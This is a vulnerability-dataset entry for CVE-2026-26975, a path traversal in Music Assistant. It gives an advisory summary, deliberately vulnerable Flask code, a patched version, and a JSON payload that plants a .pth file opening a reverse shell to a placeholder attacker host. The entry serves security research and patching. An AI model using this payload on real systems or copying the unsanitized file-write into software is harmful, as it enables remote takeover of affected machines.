CVE-2026-26975
Unauth path traversal in Music Assistant <= 2.6.3 allows for remote code exec.
- CVSS 8.8
- CWE-22
- Input Validation and Sanitization
- Remote
Music Assistant is an open-source media library manager that integrates streaming services with connected speakers. Versions 2.6.3 and below allow unauthenticated network-adjacent attackers to execute arbitrary code on affected installations. The music/playlists/update API allows users to bypass the .m3u extension enforcement and write files anywhere on the filesystem, which is exacerbated by the container running as root. This can be exploited to achieve Remote Code Execution by writing a malicious .pth file to the Python site-packages directory, which will execute arbitrary commands when Python loads. This issue has been fixed in version 2.7.0.
- CWE
- CWE-22
- CVSS base score
- 8.8
- Published
- 2026-02-20
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Checking
- Code defect classification
- Incorrect Check
- Category
- Input Validation and Sanitization
- Subcategory
- Path Traversal
- Accessibility scope
- Remote
- Impact
- Arbitrary Code Execution
- Affected component
- Music Assist
- Fixed by upgrading
- Yes
Solution
Upgrade to version 2.7.0.
Vulnerable code sample
import os
from flask import Flask, request, jsonify
app = Flask(__name__)
# In a real scenario, this would be a directory like '/media/playlists'
# or another path inside the container.
PLAYLISTS_DIR = "/tmp/music_assistant/playlists"
@app.route("/api/music/playlists/update", methods=["POST"])
def music_playlists_update():
"""
This function simulates the vulnerable API endpoint from Music Assistant <= 2.6.3.
It allows writing files to the filesystem based on user-provided path and content.
"""
try:
data = request.get_json()
# The 'path' parameter is fully controlled by the user.
path = data.get("path")
content = data.get("content")
if not path or content is None:
return jsonify({"error": "Missing 'path' or 'content'"}), 400
# --- VULNERABLE CODE ---
# The core vulnerability: a user-controlled path is joined with a base
# directory without any sanitization or validation. An attacker can use
# path traversal characters (e.g., `../`) to navigate out of the
# intended `PLAYLISTS_DIR`.
# The CVE notes that a '.m3u' extension enforcement was bypassed. This
# code represents the state where the bypass is successful, and the
# unsanitized path is used directly.
full_path = os.path.join(PLAYLISTS_DIR, path)
# The application does not check if the resolved `full_path` is
# within the `PLAYLISTS_DIR`. This allows writing to any location
# the running process has permissions for.
# To make the exploit easier, create parent directories if they don't exist.
os.makedirs(os.path.dirname(full_path), exist_ok=True)
# The content is written to the arbitrary path. An attacker can use this
# to write a malicious .pth file to a Python site-packages directory,
# achieving remote code execution.
with open(full_path, "w") as f:
f.write(content)
# --- END VULNERABLE CODE ---
return jsonify({"success": True, "message": f"File written to {full_path}"})
except Exception as e:
return jsonify({"error": str(e)}), 500Patched code sample
import os
import pathlib
# In a real application, this would be a configuration value.
# This represents the directory where playlists are allowed to be saved.
PLAYLISTS_BASE_DIR = "/data/playlists"
def update_playlist(playlist_filename: str, content: str) -> None:
"""
Safely writes playlist content to a file, preventing path traversal.
This function represents the patched logic for the 'music/playlists/update' API,
addressing the arbitrary file write vulnerability.
"""
# VULNERABILITY:
# The original code might have done something like this, which is insecure:
# unsafe_path = os.path.join(PLAYLISTS_BASE_DIR, playlist_filename)
# with open(unsafe_path, "w") as f:
# f.write(content)
# This allows a `playlist_filename` like "../../../tmp/evil.txt" to write
# files outside of the intended PLAYLISTS_BASE_DIR.
# --- FIX ---
# 1. Use `os.path.basename` to strip any directory components from the input.
# This is the primary defense against path traversal attacks like '../../'.
# For example, `os.path.basename('../../../etc/passwd')` returns 'passwd'.
safe_filename = os.path.basename(playlist_filename)
# 2. Enforce the required '.m3u' file extension. The vulnerability description
# notes that this check could be bypassed. The fix re-enforces it.
if not safe_filename.endswith(".m3u"):
# In a real-world scenario, you would raise a specific error here
# to provide feedback to the user/API client.
raise ValueError("Invalid playlist format. Filename must end with .m3u")
# 3. Create a pathlib.Path object for the base directory for more robust and
# secure path operations. resolve() creates a canonical, absolute path.
safe_base_path = pathlib.Path(PLAYLISTS_BASE_DIR).resolve()
# 4. Securely join the sanitized filename to the resolved base path.
final_path = safe_base_path.joinpath(safe_filename)
# 5. Perform the critical security check: Verify that the final resolved path
# is a child of the safe base path. This is a redundant but crucial final
# check to ensure the file is being written where it is expected.
# `final_path.resolve()` is used to prevent any symbolic link trickery.
try:
# This check ensures that `safe_base_path` is a parent of `final_path`.
# If `final_path` is outside `safe_base_path`, it will raise a ValueError.
final_path.resolve().relative_to(safe_base_path)
except ValueError:
# This block is executed if the path is outside the allowed directory.
# Log the attempt and raise an exception or return an error.
# For example:
# log.warning(f"Path traversal attempt blocked for: {playlist_filename}")
raise PermissionError("Path traversal attempt detected and blocked.")
# 6. If all checks pass, it is safe to write the file.
try:
# Ensure parent directory exists before writing.
final_path.parent.mkdir(parents=True, exist_ok=True)
with open(final_path, "w", encoding="utf-8") as f:
f.write(content)
# print(f"Successfully wrote playlist to: {final_path}")
except (IOError, OSError) as e:
# Handle potential filesystem errors.
# For example:
# log.error(f"Failed to write playlist {final_path}: {e}")
raise IOError(f"Could not write to playlist file: {e}") from ePayload
{
"path": "../../../../../../usr/local/lib/python3.11/site-packages/exploit.pth",
"content": "import os; os.system('bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1\"')"
}
Cite this entry
@misc{vaitp:cve202626975,
title = {{Unauth path traversal in Music Assistant <= 2.6.3 allows for remote code exec.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-26975},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-26975/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
